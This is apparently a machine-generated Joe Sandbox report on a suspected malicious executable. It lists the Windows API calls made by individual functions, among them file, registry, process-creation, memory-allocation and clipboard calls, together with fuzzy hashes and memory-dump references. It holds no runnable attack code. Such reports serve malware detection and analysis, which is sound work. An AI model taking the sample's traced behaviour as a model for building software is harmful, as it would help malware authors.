Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: d807d510710fb0f7a195b4fc9a640ca68880ad9ea72be96c1146bb2738155c1a
Instruction ID: 9612bf82eda4da4f7a6f16473ef610ebb4f319ab1b481eb1cc18110ef8d85365
Opcode Fuzzy Hash: d807d510710fb0f7a195b4fc9a640ca68880ad9ea72be96c1146bb2738155c1a
Instruction Fuzzy Hash: FAE0BFB0600609BFFB009B64ED09F7B766CFB14704F804469BD21E6191D77498158A7D

Function 004068F6 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,0040340A,C:\Users\user\AppData\Local\Temp\temp_executable.exe,80000000,00000003,?,?,?,?,?), ref: 004068FA
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?), ref: 0040691A

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction ID: 2b20bdeb62c6161fa823f395ef17c7eb789f23499ed64d7ea8bf83f44df62fc9
Opcode Fuzzy Hash: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction Fuzzy Hash: 3ED09E71118201AEDF054F20DE4AF1EBA65EF84710F114A2CF6A6D40F0DA718865AA15

Function 6FC32D14 Relevance: 1.6, APIs: 1, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?), ref: 6FC32DD3

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 35cd95c0d6c99202564d820f78f3d913147eae1be007ef0421cb0c0107c8eb46
Instruction ID: 2b2de6024a119435339fdad734dd1e1ab683f12105dbadb76eefee5968feea25
Opcode Fuzzy Hash: 35cd95c0d6c99202564d820f78f3d913147eae1be007ef0421cb0c0107c8eb46
Instruction Fuzzy Hash: 28419077D047269FDF209F68DA91B8937B4EB053E8F20482AE6048B290F7369455CAD1

Function 00402AF5 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402B11

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e18c58a2aa738140e54549e427365221eafe551e17cff140cde306a09a17fb3e
Instruction ID: b4aa691efdd76b97e29f232bcdca97d183a91086d161f739a0adeab6622ebcbf
Opcode Fuzzy Hash: e18c58a2aa738140e54549e427365221eafe551e17cff140cde306a09a17fb3e
Instruction Fuzzy Hash: F8E04F726452006FE610AB51ED8AD7FB71CEB81319F14483FF544A40C1C67E6855966A

Function 00406923 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,004031A2,00000004,00000004,00000000,00000000,00000000,00000000), ref: 0040693A

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction ID: 2742144f5a26ad2eb6f685a055c8babc8a1130b1cd91e66bb9562d29751e6569
Opcode Fuzzy Hash: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction Fuzzy Hash: 7CE0BF72200119BB8F215B46DD04D9FBF6DEE956A47114026B905A6150D670EA11D6E4

Function 004069E6 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,00000000,?,004149C0,00403323,?,004149C0,?,004149C0,?,00000004), ref: 004069FD

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction ID: 9dc68c0638fdc05cdedacbb3ce278f0548e4c11d63521e27f6831e75186a9fb8
Opcode Fuzzy Hash: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction Fuzzy Hash: 78E0BF32600159BB9F206F96DD04D9FFF6DEE927A47124026B905A2150D670EA11DBE4

Function 00406280 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?), ref: 004062A9

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a0b6da99e5e71265e8373ba8059e24fe5c697144cc542e2b776cf21a3b2d53e8
Instruction ID: b0a4c2d15b2ea223642b35464fd2bd164e57500baa871115652c712219d0a331
Opcode Fuzzy Hash: a0b6da99e5e71265e8373ba8059e24fe5c697144cc542e2b776cf21a3b2d53e8
Instruction Fuzzy Hash: 2FE0BF72050209BEEF055F50DD0AD7B371DEB58310F01452EB90695151E6B5A9306634

Function 6FC31A4A Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6FC3501C,00000004,00000040,6FC35034), ref: 6FC31A68

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4e6c54160d75ec88bd207a1f8f1071a7df412c905a5772f70275b4b61fe0d68c
Instruction ID: 70f617863584f78340115b07ba31cd57202f27ef4f151d86bb082bd7143174a9
Opcode Fuzzy Hash: 4e6c54160d75ec88bd207a1f8f1071a7df412c905a5772f70275b4b61fe0d68c
Instruction Fuzzy Hash: AFF0AC76D19B43DACB388F1C95856053AF0B71A3E5B004D2EF349DA340D33281209BEA

Function 004062B3 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00424200,00000000,00000800,00424200,?,00406980,00000800,?,?,?,Call,00000000,00000000), ref: 004062D7

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction ID: a9f46a368aaeb036b72fdcd0ca7d488aed4e3e02bd852bac4dcbc1d9cb67b826
Opcode Fuzzy Hash: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction Fuzzy Hash: 4AD0173204020DBBDF11AF90EE01FAB3B2DBB08350F11482AFE06A51A0D776D530AB28

Function 00403131 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004035B2,?,?,?,?,?,?), ref: 0040313F

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction ID: 249934cc5d2069a5a678a88893d20fb7c04287045258dfdbdab4020963f10c22
Opcode Fuzzy Hash: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction Fuzzy Hash: 94B09231140200AADA214F009E0AF057B21AB90700F108434B290680F086711060EA0D

Function 0040211B Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00405D15: lstrlenW.KERNEL32(00424200,?,00000000,?,?), ref: 00405D47
Part of subcall function 00405D15: lstrlenW.KERNEL32(?,00424200,?,00000000,?,?), ref: 00405D59
Part of subcall function 00405D15: lstrcatW.KERNEL32(00424200,?,?,00424200,?,00000000,?,?), ref: 00405D74
Part of subcall function 00405D15: SetWindowTextW.USER32(00424200,00424200), ref: 00405D8C
Part of subcall function 00405D15: SendMessageW.USER32(00000000), ref: 00405DB3
Part of subcall function 00405D15: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 00405DCE
Part of subcall function 00405D15: SendMessageW.USER32(00000000,00001013,00000000,00000000), ref: 00405DDB

Part of subcall function 004066B1: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00425200,?), ref: 004066DA
Part of subcall function 004066B1: CloseHandle.KERNEL32(?), ref: 004066E7

CloseHandle.KERNEL32(?,?), ref: 00402110

Part of subcall function 004064EF: WaitForSingleObject.KERNEL32(?,00000064), ref: 004064F9
Part of subcall function 004064EF: GetExitCodeProcess.KERNEL32(?,?), ref: 00406523

Part of subcall function 004065FA: wsprintfW.USER32 ref: 00406607

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 98fe7140605b3d9a3fc2a8086af1ccc478904db8aec094e9b139f55772f9f99f
Instruction ID: b5aa067e75477a963cdd38a123308a4d8481615e32ff78348eb7c7270180d37c
Opcode Fuzzy Hash: 98fe7140605b3d9a3fc2a8086af1ccc478904db8aec094e9b139f55772f9f99f
Instruction Fuzzy Hash: BEF0F431609351EBC310AE21D88882FB288EF85359B10093FFA12B51C2C77C4C0686AF

Function 6FC312F8 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FC311C4,-000000A0), ref: 6FC31302

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: fd622d6ba7d230c98449aebeedaa8a4d888be93f0ddce052b8910c03722eb48f
Instruction ID: c1baa966c78e39c1a2a373b4f81a7cb76b77f95bd2635996ad8eb0b4f6327d1d
Opcode Fuzzy Hash: fd622d6ba7d230c98449aebeedaa8a4d888be93f0ddce052b8910c03722eb48f
Instruction Fuzzy Hash: 45B012F23004025FEE108718DE0AF303274F701355F000000F700D5040C12548208914

Non-executed Functions

Function 004043F9 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 576windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404411
GetDlgItem.USER32(?,00000408), ref: 0040441D
GlobalAlloc.KERNEL32(00000040,?), ref: 00404465
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 0040447E
SetWindowLongW.USER32(00000000,000000FC,Function_000058AB), ref: 00404495
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004044AB
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004044BD
SendMessageW.USER32(00000000,00001109,00000002), ref: 004044D0
SendMessageW.USER32(00000000,0000111C,00000000,00000000), ref: 004044DC
SendMessageW.USER32(00000000,0000111B,00000010,00000000), ref: 004044EE
DeleteObject.GDI32(00000000), ref: 004044F1
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040451F
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404529
SendMessageW.USER32(?,00001132,00000000,?), ref: 004045D4
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 004045FE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404614
GetWindowLongW.USER32(?,000000F0), ref: 00404643
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404650
ShowWindow.USER32(?,00000005), ref: 00404664
SendMessageW.USER32(?,00000419,00000000,?), ref: 004047A1
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040481C
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 0040483B
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404867
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040489C
ImageList_Destroy.COMCTL32(?), ref: 004048C3
GlobalFree.KERNEL32(?), ref: 004048D3

Strings

M, xrefs: 004045BB

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$ImageWindow$List_Long$GlobalItem$AllocCreateDeleteDestroyFreeLoadMaskedObjectShow
String ID: M
API String ID: 1688767230-3664761504
Opcode ID: e527a44e3837e2842e9643811c94d438dc10ea4f06fb5cac42bc504d6044e278
Instruction ID: 6b9816283df2d563a6f6303754403db0efd655586b529c1e8cba48373a45e4bc
Opcode Fuzzy Hash: e527a44e3837e2842e9643811c94d438dc10ea4f06fb5cac42bc504d6044e278
Instruction Fuzzy Hash: 4F12D0B1644301AFD3249F24DC45A2BB7E9EBC8314F10493EFA95E72E1DB789C428B59

Function 00404B0B Relevance: 54.3, APIs: 36, Instructions: 295windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00404B6C
GetDlgItem.USER32(?,000003EE), ref: 00404B7C
GetClientRect.USER32(00000000,?), ref: 00404BB9
GetSystemMetrics.USER32(00000002), ref: 00404BC1
SendMessageW.USER32(00000000,00001061,00000000,00000002), ref: 00404BE3
SendMessageW.USER32(00000000,00001036,00004000,00004000), ref: 00404BF2
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00404C00
SendMessageW.USER32(00000000,00001026,00000000,?), ref: 00404C0A

Part of subcall function 00405E95: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B

SendMessageW.USER32(00000000,00001024,00000000,?), ref: 00404C1C
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00404C40
ShowWindow.USER32(00000000,00000008), ref: 00404C52
GetDlgItem.USER32(?,000003EC), ref: 00404C74
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00404C88
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00404CA3
SendMessageW.USER32(00000000,00002001,00000000,?), ref: 00404CAD
ShowWindow.USER32(00000000), ref: 00404D22
ShowWindow.USER32(00000000,00000008), ref: 00404D27
GetDlgItem.USER32(?,000003F8), ref: 00404B8C

Part of subcall function 004054DE: SendMessageW.USER32(00000028,?,00000001,00405313), ref: 004054EC

GetDlgItem.USER32(?,000003EC), ref: 00404CCD
CreateThread.KERNEL32(00000000,00000000,Function_0000583F,00000000), ref: 00404CDB
CloseHandle.KERNEL32(00000000), ref: 00404CE2
ShowWindow.USER32(00000008), ref: 00404D5D
SendMessageW.USER32(00000000,00001004,00000000,00000000), ref: 00404D9C
CreatePopupMenu.USER32 ref: 00404DB0
AppendMenuW.USER32(?,00000000,00000001,00000000), ref: 00404DCC
GetWindowRect.USER32(00000000,?), ref: 00404DEA
TrackPopupMenu.USER32(?,00000180,?,?,00000000,?,00000000), ref: 00404E0C
SendMessageW.USER32(00000000,00001073,00000000,?), ref: 00404E3B
OpenClipboard.USER32(00000000), ref: 00404E4B
EmptyClipboard.USER32 ref: 00404E51
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00404E5D
GlobalLock.KERNEL32(00000000), ref: 00404E6A
SendMessageW.USER32(00000000,00001073,00000000,?), ref: 00404E86
GlobalUnlock.KERNEL32(?), ref: 00404EA9
SetClipboardData.USER32(0000000D,?), ref: 00404EB4
CloseClipboard.USER32 ref: 00404EBA

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlocklstrcat
String ID:
API String ID: 2901622961-0
Opcode ID: e3a3b5db6e8f7872d6748160a89fdbae3d99834f52d0e9e06fc12283005a9987
Instruction ID: 6359324f75213449b6abc0588f6453f91f7fc730003d35bba9c6bb800d03804c
Opcode Fuzzy Hash: e3a3b5db6e8f7872d6748160a89fdbae3d99834f52d0e9e06fc12283005a9987
Instruction Fuzzy Hash: BEA1C5B1205704BBD320AB25DD49F5B7FADFF88750F01493EF681A62A1CB788841CB69

